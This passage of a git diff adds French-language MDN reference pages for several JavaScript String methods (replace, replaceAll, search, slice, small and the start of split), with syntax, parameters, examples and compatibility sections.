+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée en JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.11', 'String.prototype.replace')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.replace', 'String.prototype.replace')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.replace', 'String.prototype.replace')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, regardez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.replace")}}</p>
+
+<h2 id="Notes_spécifiques_à_Firefox">Notes spécifiques à Firefox</h2>
+
+<ul>
+ <li><code>flags</code> était un troisième argument non standard disponible uniquement dans Gecko : <var>str</var>.replace(<var>regexp</var>|<var>substr</var>, <var>newSubStr</var>|<var>function, flags</var>)</li>
+ <li>À partir de Gecko 27 {{geckoRelease(27)}}, cette méthode a été modifiée pour être conforme à la spécification ECMAScript. Lorsque <code>replace()</code> est appelée avec une expression régulière globale, la propriété {{jsxref("RegExp.lastIndex")}} (si elle est définie) sera remise à <code>0</code> ({{bug(501739)}}).</li>
+ <li>À partir de Gecko 39 {{geckoRelease(39)}}, l'argument non-standard <code>flags</code> est désapprouvé et déclenche un avertissement dans la console ({{bug(1142351)}}).</li>
+ <li>À partir de Gecko 47 {{geckoRelease(47)}}, l'argument non-standard <code>flags</code> n'est plus supporté dans les versions non distribution et sera bientôt retiré complètement ({{bug(1245801)}}).</li>
+ <li>À partir de Gecko 49 {{geckoRelease(49)}}, l'argument non-standard <code>flags</code> n'est plus supporté ({{bug(1108382)}}).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/replaceall/index.html b/files/fr/web/javascript/reference/objets_globaux/string/replaceall/index.html
new file mode 100644
index 0000000000..d526ea36f7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/replaceall/index.html
@@ -0,0 +1,170 @@
+---
+title: String.prototype.replaceAll()
+slug: Web/JavaScript/Reference/Objets_globaux/String/replaceAll
+translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">La méthode <strong><code>replaceAll()</code></strong> retourne une nouvelle chaîne de caractères dans la quelle toutes les occurences de <code>pattern</code> ont été remplacés par <code>replacement</code>.</span>L'argument <code>pattern</code> peut être de type chaîne de caractères ou {{jsxref("RegExp")}}, et l'argument <code>replacement</code> peut être une chaîne de caractères ou une fonction qui sera appelée pour trouver chaque correspondances.</p>
+
+<p>La chaîne de caractères initiale restera inchangée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-replaceall.html")}}</div>
+
+<p class="hidden">La source de cet exemple intéractif est stocké dans un dépôt GitHub. Si vous souhaitez y contribuer, s'il vous plait, clonez <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et envoyez nous un requête "pull".</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const newStr = <var>str</var>.replaceAll(<var>regexp</var>|<var>substr</var>, <var>newSubstr</var>|<var>function</var>)
+</pre>
+
+<div class="blockIndicator note">
+<p>Quand une `<var>regexp</var>` est utilisée, il est préférable d'utiliser le marqueur global ("g"); autrement, l'erreur <code>TypeError</code>: "replaceAll must be called with a global RegExp" sera retournée.</p>
+</div>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><var>regexp</var></code> (pattern)</dt>
+ <dd>Un objet ou litérale {{jsxref("RegExp")}} avec le marqueur global. Les correspondances sont remplacées par <code><var>newSubstr</var></code> ou la valeur retournée par la <code><var>function</var></code> spécifiée. Une RegExp sans le marqueur global ("g") renverra l'erreur <code>TypeError</code>: "replaceAll must be called with a global RegExp".</dd>
+ <dt><code><var>substr</var></code></dt>
+ <dd>Une {{jsxref("String")}} qui sera remplacée par <code><var>newSubstr</var></code>. Elle est traité comme une chaîne de caracère litéral et <em>non pas</em> comme une expression régulière.</dd>
+ <dt><code><var>newSubstr</var></code> (remplacement)</dt>
+ <dd>La {{jsxref("String")}} qui remplacera la sous-chaîne indiqué par la <code><var>regexp</var></code> ou <code><var>substr</var></code> donnée en paramètre. Un certain nombre de pattern sont supportés, voir la section "<a href="#Spécifier_une_chaîne_de_caractères_comme_paramètre">Spécifier une chaîne de caractères comme paramètre</a>" ci-dessous.</dd>
+ <dt><code><var>function</var></code> (remplacement)</dt>
+ <dd>Une fonction qui a pour but de créer la nouvelle sous-chaîne qui remplacera les occurences trouvés via la <code><var>regexp</var></code> ou <code><var>substr</var></code> donnée en paramètre. Les arguments passés à cette fonction sont détaillé dans la section "<a href="#Spécifier_une_fonction_comme_paramètre">Spécifier une fonction comme paramètre</a>" ci-dessous.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne avec toutes les occurences trouvés remplacés par le pattern de remplacement.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode ne remplace ni ne modifie l'objet {{jsxref("String")}} original. Elle retourne juste une nouvelle chaîne de caractères.</p>
+
+<h3 id="Spécifier_une_chaîne_de_caractères_comme_paramètre">Spécifier une chaîne de caractères comme paramètre</h3>
+
+<p>La chaîne de caractère de remplacement peut inclure les patterns de remplacement spéciaux suivant :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col">Pattern</th>
+   <th class="header" scope="col">Insertion</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>$$</code></td>
+   <td>Insert un <code>"$"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>$&amp;</code></td>
+   <td>Insert la chaîne de caracètre trouvée.</td>
+  </tr>
+  <tr>
+   <td><code>$`</code></td>
+   <td>Insert la portion de chaîne de caracètre qui précède celle trouvée.</td>
+  </tr>
+  <tr>
+   <td><code>$'</code></td>
+   <td>Inserts la portion de chaîne de caracètre qui suit celle trouvée.</td>
+  </tr>
+  <tr>
+   <td><code>$<var>n</var></code></td>
+   <td>Où <code><var>n</var></code> est un entier positif inférieur à 100. Insert la n-ième occurence trouvée, à condition que le premier argument un objet {{jsxref("RegExp")}} . Note that this is <code>1</code>-indexed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Spécifier_une_fonction_comme_paramètre">Spécifier une fonction comme paramètre</h3>
+
+<p>Vous pouvez passer une fonction comlme second paramètre. Dans ce cas, la fonction sera appelée après qu'une occorence soit trouvée. Le résultat de la fonction (valeur de retour) sera utilisé comme chaîne de remplacement. (<strong>Note: </strong>Les remplacement spéciaux mentionner plus haut <em>ne s'appliqueront pas</em> dans ce cas.)</p>
+
+<p>A noter que la fonction sera utilisé à chaque fois qu'une occurence sera rencontrée, si l'expression régulière donné en paramètre est global.</p>
+
+<p>La fonction admet les argumetns suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col">Nom Possible</th>
+   <th class="header" scope="col">Valeur fournit</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>match</code></td>
+   <td>L'occurence trouvée. (Correspond au <code>$&amp;</code> du précédent tableau.)</td>
+  </tr>
+  <tr>
+   <td><code>p1, p2, ...</code></td>
+   <td>
+    <p>Le n-ième chaîne de caractères trouvée par une sous correspondance entre parenthèses, à condition que le premier paramètre soit un objet de type {{jsxref("RegExp")}} object.<br>
+     (Correspond aux <code>$1</code>, <code>$2</code>, ... précédents.) Par exemple, si  <code>/(\a+)(\b+)/</code> à été en paramètres, <code>p1</code> est la correspondance pour <code>\a+</code>, et <code>p2</code> pour <code>\b+</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>offset</code></td>
+   <td>Le décalage de la sous-chaîne trouvée dans la chaîne d'entrée. (par exemple, si la chaîne complète d'entrée était <code>'abcd'</code> et la sous-chaîne <code>'bc'</code> alors, cet argument vaudra 1.)</td>
+  </tr>
+  <tr>
+   <td><code>string</code></td>
+   <td>La chaîne compète examinée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>(Le nombre d'arguments exact dépend de si le premier arguments de <code>replaceAll()</code> est un objet de type {{jsxref("RegExp")}} et, si tel est le cas, du nombre le sous correspondance entre parenthèses qu'il spécifie.)</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_replaceAll">Utiliser replaceAll</h3>
+
+<pre class="brush: js notranslate">'aabbcc'.replaceAll('b', '.');
+// 'aa..cc'</pre>
+
+<h3 id="Les_retour_de_regex_non_global">Les retour de regex non global</h3>
+
+<p>Quand on utilise une expression régulère pour chercher une valeur, elle doit être global. Cela ne marchera donc pas:</p>
+
+<pre class="brush: js; example-bad notranslate">'aabbcc'.replaceAll(/b/, '.');
+TypeError: replaceAll must be called with a global RegExp
+</pre>
+
+<p>Ceci marchera:</p>
+
+<pre class="brush: js; example-good notranslate">'aabbcc'.replaceAll(/b/g, '.');
+"aa..cc"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.replaceall', 'String.prototype.replaceAll')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">La table de compatibilité de cette page est générée a partir d'une donnée structurée. Si vous souhaitez y contribuer, s'il vous plait, aller voir: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une requête "pull".</p>
+
+<p>{{Compat("javascript.builtins.String.replaceAll")}}</p>
+
+<h2 id="A_voir_également">A voir également</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.replace", "String.prototype.replace()")}}</li>
+ <li>{{jsxref("String.prototype.match", "String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec", "RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test", "RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/search/index.html b/files/fr/web/javascript/reference/objets_globaux/string/search/index.html
new file mode 100644
index 0000000000..76ddab1f26
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/search/index.html
@@ -0,0 +1,106 @@
+---
+title: String.prototype.search()
+slug: Web/JavaScript/Reference/Objets_globaux/String/search
+tags:
+  - Expressions rationnelles
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/search
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>search()</strong></code> éxecute une recherche dans une chaine de caractères grâce à une expression rationnelle appliquée sur la chaîne courante.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-search.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.search(<var>regexp</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>Un objet représentant une expression rationnelle. Si l'objet passé n'est pas un objet d'expression régulière, il est directement converti en une instance de {{jsxref("RegExp")}} en utilisant <code>new RegExp(obj)</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Si la recherche aboutit, <code>search()</code> renvoie un entier qui correspond à l'indice de la première correspondance trouvée dans la chaîne. Si rien n'est trouvé, la méthode renvoie <code>-1</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si la recherche est positive, <code>search()</code> renvoie l'indice de la première correspondance pour l'expression rationnelle au sein de la chaine de caractères. Sinon, la méthode renvoie -1.</p>
+
+<p>Si on souhaite savoir si un motif est trouvé dans une chaine de caractères, on utilisera cette méthode (semblable à la méthode {{jsxref("RegExp.prototype.test", "test()")}}) du prototype de <code>RegExp</code> ; pour plus d'informations (mais une éxecution plus lente), on utilisera {{jsxref("String.prototype.match", "match()")}} (semblable à la méthode {{jsxref("RegExp.prototype.exec", "exec()")}} pour les expressions rationnelles). La méthode <code>test</code> est semblable mais renvoie uniquement un booléen indiquant si une correspondance a été trouvée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on utilise une chaîne de caractères pour laquelle on applique deux expressions rationnelles (la première permet d'obtenir une correspondance et la seconde n'en trouve aucune).</p>
+
+<pre class="brush: js">var maChaine = "CoucOu";
+var regex1 = /[A-Z]/g;
+var regex2 = /[.]/g;
+
+console.log(maChaine.search(regex1)); // Renvoie 0, la position de la première majuscule
+console.log(maChaine.search(regex2)); // Renvoie -1 car il n'y a aucun point dans la chaîne</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.12', 'String.prototype.search')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.search', 'String.prototype.search')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.search', 'String.prototype.search')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.search")}}</p>
+
+<h2 id="Notes_spécifiques_à_Gecko">Notes spécifiques à Gecko</h2>
+
+<ul>
+ <li><code>flags</code> était un second argument non standard présent uniquement sur Gecko : <var>str</var>.search(<var>regexp, flags</var>)</li>
+ <li>Avant {{Gecko("8.0")}}, <code>search()</code> n'était pas implémenté correctement ; quand il était appelé sans paramètre ou avec {{jsxref("undefined")}}, la recherche validait la chaine de caractères "undefined", au lieu de valider une chaine de caractères vide. Cela a été corrigé ; désormais, <code>"a".search()</code> et <code>"a".search(undefined)</code> renvoient bien 0.</li>
+ <li>À partir de Gecko 39 {{geckoRelease(39)}}, les arguments non-standards (<code>flags</code>) pour les drapeaux sont dépréciés et déclenchent des avertissements dans la console ({{bug(1142351)}}). Cette propriété est spécifique à Gecko et sera retirée à l'avenir.</li>
+ <li>À partir de Gecko 47 {{geckoRelease(47)}}, l'argument non-standard <code>flags</code> n'est plus supporté dans les versions hors <em>release</em> et sera bientôt retiré définitivement ({{bug(1245801)}}).</li>
+ <li>À partir de Gecko 49 {{geckoRelease(49)}}, l'argument non-standard <code>flags</code> n'est plus pris en charge ({{bug(1108382)}}).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/slice/index.html b/files/fr/web/javascript/reference/objets_globaux/string/slice/index.html
new file mode 100644
index 0000000000..d01c172fec
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/slice/index.html
@@ -0,0 +1,129 @@
+---
+title: String.prototype.slice()
+slug: Web/JavaScript/Reference/Objets_globaux/String/slice
+tags:
+  - Chaîne
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/String/slice
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>slice()</strong></code> extrait une section d'une chaine de caractères et la retourne comme une nouvelle chaine de caractères. La chaîne de caractères courante n'est pas modifiée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-slice.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>chn</em>.slice(<em>indiceDe<var>but</var></em>[, <em>indiceF</em><var><em>in</em></var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>indiceDebut</code></dt>
+ <dd>L'indice base 0 auquel commencer l'extraction. Si négatif, il est traité comme (<code>longueurSource + indiceDebut</code>) où <code>longueurSource</code> est la longueur de la chaine de caractères (par exemple, si <code>indiceDebut</code> est -3, il sera traité comme <code>longueurSource - 3</code>). Si <code>indiceDebut</code> est supérieur à la longueur de la chaîne, <code>slice()</code> renvoie une chaîne vide.</dd>
+ <dt><code>indiceFin</code></dt>
+ <dd>Paramètre optionnel. Un indice base 0 <em>avant</em> lequel terminer l'extraction. Le caractère à cet indice ne sera pas inclus. Si <code>indiceFin</code> est absent, <code>slice()</code> extraira jusqu'à la fin de la chaine de caractères. Si négatif, il sera traité comme (<code>longueurSource + indiceFin</code>) où <code>longueurSource</code> est la longueur de la chaine de caractères (par exemple s'il vaut <code>-3</code>, il sera traité comme <code>longueurSource - 3</code>)</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une nouvelle chaîne de caractères contenant la section extraite de la chaîne.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>slice()</code> extrait le texte d'une chaine de caractères et retourne une nouvelle chaîne de caractères. Les changements au texte dans une chaine de caractères n'affectent pas l'autre chaîne.</p>
+
+<p><code>slice()</code> extrait jusqu'à <code>indiceFin</code>, mais sans l'inclure. Par exemple, <code>chn.slice(1, 4)</code> extrait du second caractère jusqu'au quatrième caractère (caractères d'indices 1, 2 et 3).</p>
+
+<p>Par exemple, <code>chn.slice(2, -1)</code> extrait du troisième caractère jusqu'à l'avant-dernier caractère de la chaine de caractères.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_slice()_pour_créer_une_nouvelle_chaîne_de_caractères">Utilisation de <code>slice()</code> pour créer une nouvelle chaîne de caractères</h3>
+
+<p>L'exemple suivant utilise <code>slice()</code> pour créer une nouvelle chaîne de caractères.</p>
+
+<pre class="brush: js">var chn1 = 'Le matin est sur nous.', // la longueur de chn1 est de 22
+<code>    </code>chn<code>2 = </code>chn<code>1.slice(1, 8),
+    </code>chn<code>3 = </code>chn<code>1.slice(3, -2),
+    </code>chn<code>4 = </code>chn<code>1.slice(13),
+    </code>chn<code>5 = </code>chn<code>1.slice(30);
+console.log(</code>chn<code>2); // SORTIE : </code>e matin<code>
+console.log(</code>chn<code>3); // SORTIE : m</code>atin est sur nou<code>
+console.log(</code>chn<code>4); // SORTIE : </code>sur nous.<code>
+console.log(</code>chn<code>5); // SORTIE : ""</code></pre>
+
+<h3 id="Utilisation_de_slice()_avec_des_indices_négatifs">Utilisation de <code>slice()</code> avec des indices négatifs</h3>
+
+<p>L'exemple suivant utilise <code>slice()</code> avec des indices négatifs.</p>
+
+<pre class="brush:js">var chn = 'Le matin est sur nous.';
+chn.slice(-3);     // retourne "us."
+chn.slice(-3, -1); // retourne "us"
+chn.slice(0, -1);  // retourne "Le matin est sur nous"
+</pre>
+
+<p>Dans l'exemple qui suit, on commence à chercher l'indice de début à partir de la fin de la chaîne avec l'argument <code>-11</code> et on utilise un indice de fin positif avec <code>16</code> :</p>
+
+<pre class="brush: js">console.log(chn.slice(-11, 16)); // "st sur"</pre>
+
+<p>On utilise ensuite un indice de début positif (la recherche est effectuée depuis le début de la chaîne) et un indice de fin négatif pour parvenir au même résultat :</p>
+
+<pre class="brush: js">console.log(chn.slice(10, -5)); // "st sur"</pre>
+
+<p>Enfin, on utilise deux indices négatifs : la position de début et la position de fin sont recherchées à parti de la fin de la chaîne :</p>
+
+<pre class="brush: js">console.log(chn.slice(-11, -5)); // "st sur"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée dans JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.13', 'String.prototype.slice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.slice', 'String.prototype.slice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.slice', 'String.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer aux données, regardez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.slice")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.substr()")}} {{deprecated_inline}}</li>
+ <li>{{jsxref("String.prototype.substring()")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/small/index.html b/files/fr/web/javascript/reference/objets_globaux/string/small/index.html
new file mode 100644
index 0000000000..080d6f7993
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/small/index.html
@@ -0,0 +1,80 @@
+---
+title: String.prototype.small()
+slug: Web/JavaScript/Reference/Objets_globaux/String/small
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/small
+---
+<div>{{JSRef}}{{deprecated_header}}</div>
+
+<p>La méthode <code><strong>small()</strong></code> permet de créer un élément HTML {{HTMLElement("small")}}, ce qui permet d'afficher la chaîne de caractères dans une fonte de petite taille.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.small()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant un élément HTML {{HTMLElement("small")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>small()</code> encadre la chaîne courante dans une balise <code>&lt;small&gt;</code> :<br>
+ <code>"&lt;small&gt;str&lt;/small&gt;</code>"</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_la_méthode_small()">Utiliser la méthode <code>small()</code></h3>
+
+<p>L'exemple suivant illustre les différentes méthodes de <code>String</code> permettant de changer la taille d'une chaîne de caractères :</p>
+
+<pre class="brush:js">var worldString = "Coucou monde";
+
+console.log(worldString.small());     // &lt;small&gt;Coucou monde&lt;/small&gt;
+console.log(worldString.big());       // &lt;big&gt;Coucou monde&lt;/big&gt;
+console.log(worldString.fontsize(7)); // &lt;font size="7"&gt;Coucou monde&lt;/fontsize&gt;</pre>
+
+<p>L'objet {{domxref("HTMLElement.style", "element.style")}} permet d'utiliser l'attribut <code>style</code> de l'élément et de le manipuler de façon générique. Par exemple :</p>
+
+<pre class="brush: js">document.getElementById('IDélément').style.fontSize = '0.7em'</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.small', 'String.prototype.small')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.small', 'String.prototype.small')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.small")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.fontsize()")}}</li>
+ <li>{{jsxref("String.prototype.big()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/split/index.html b/files/fr/web/javascript/reference/objets_globaux/string/split/index.html
new file mode 100644
index 0000000000..bf5822183c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/split/index.html
@@ -0,0 +1,239 @@
+---
+title: String.prototype.split()
+slug: Web/JavaScript/Reference/Objets_globaux/String/split
+tags:
+  - Expressions rationnelles
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/split
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>split()</strong></code> permet de diviser une chaîne de caractères à partir d'un séparateur pour fournir un tableau de sous-chaînes.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-split.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>str</var>.split([<var>séparateur</var>[, qtéMax]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>séparateur</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Paramètre optionnel qui définit le ou les caractères à utiliser pour scinder la chaîne. Le <code>séparateur</code> est considéré comme une chaîne ou une {{jsxref("RegExp", "expression rationnelle", "", 1)}}. Si le <code>séparateur</code> est omis ou qu'il n'apparaît pas dans la chaîne, le tableau retourné contiendra un unique élément contenant la chaîne entière. Si le <code>séparateur</code> est une chaîne vide, la chaîne <code>str</code> sera convertie en un tableau dont les éléments seront les caractères de la chaîne. Si le <code>séparateur</code> contient un ou plusieurs caractères, la chaîne de caractères entière doit être trouvée pour effectuer une césure.</p>
+
+ <p class="warning"><strong>Attention !</strong> Si c'est la chaîne vide qui est utilisée comme séparateur, la chaîne ne sera pas découpée entre chaque caractère visible (<a href="https://unicode.org/reports/tr29/#Grapheme_Cluster_Boundaries">grapheme cluster</a>) mais entre chaque codet UTF-16 et les paires de <em><a href="http://unicode.org/faq/utf_bom.html#utf16-2">surrogates</a></em> seront détruites.</p>
+ </dd>
+ <dt><code>qtéMax</code> {{optional_inline}}</dt>
+ <dd>Paramètre optionnel. Un entier définissant la limite sur le nombre de sous-chaînes à retourner. La méthode <code>split</code> scindera toujours la chaîne à partir du <code>séparateur</code>, mais le tableau retourné contiendra au plus <code>qtéMax</code> sous-chaînes.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau ({{jsxref("Array")}}) qui contient les fragments de la chaîne appelante, découpée en fonction du séparateur indiqué.</p>
+
+<h2 id="Description">Description</h2>
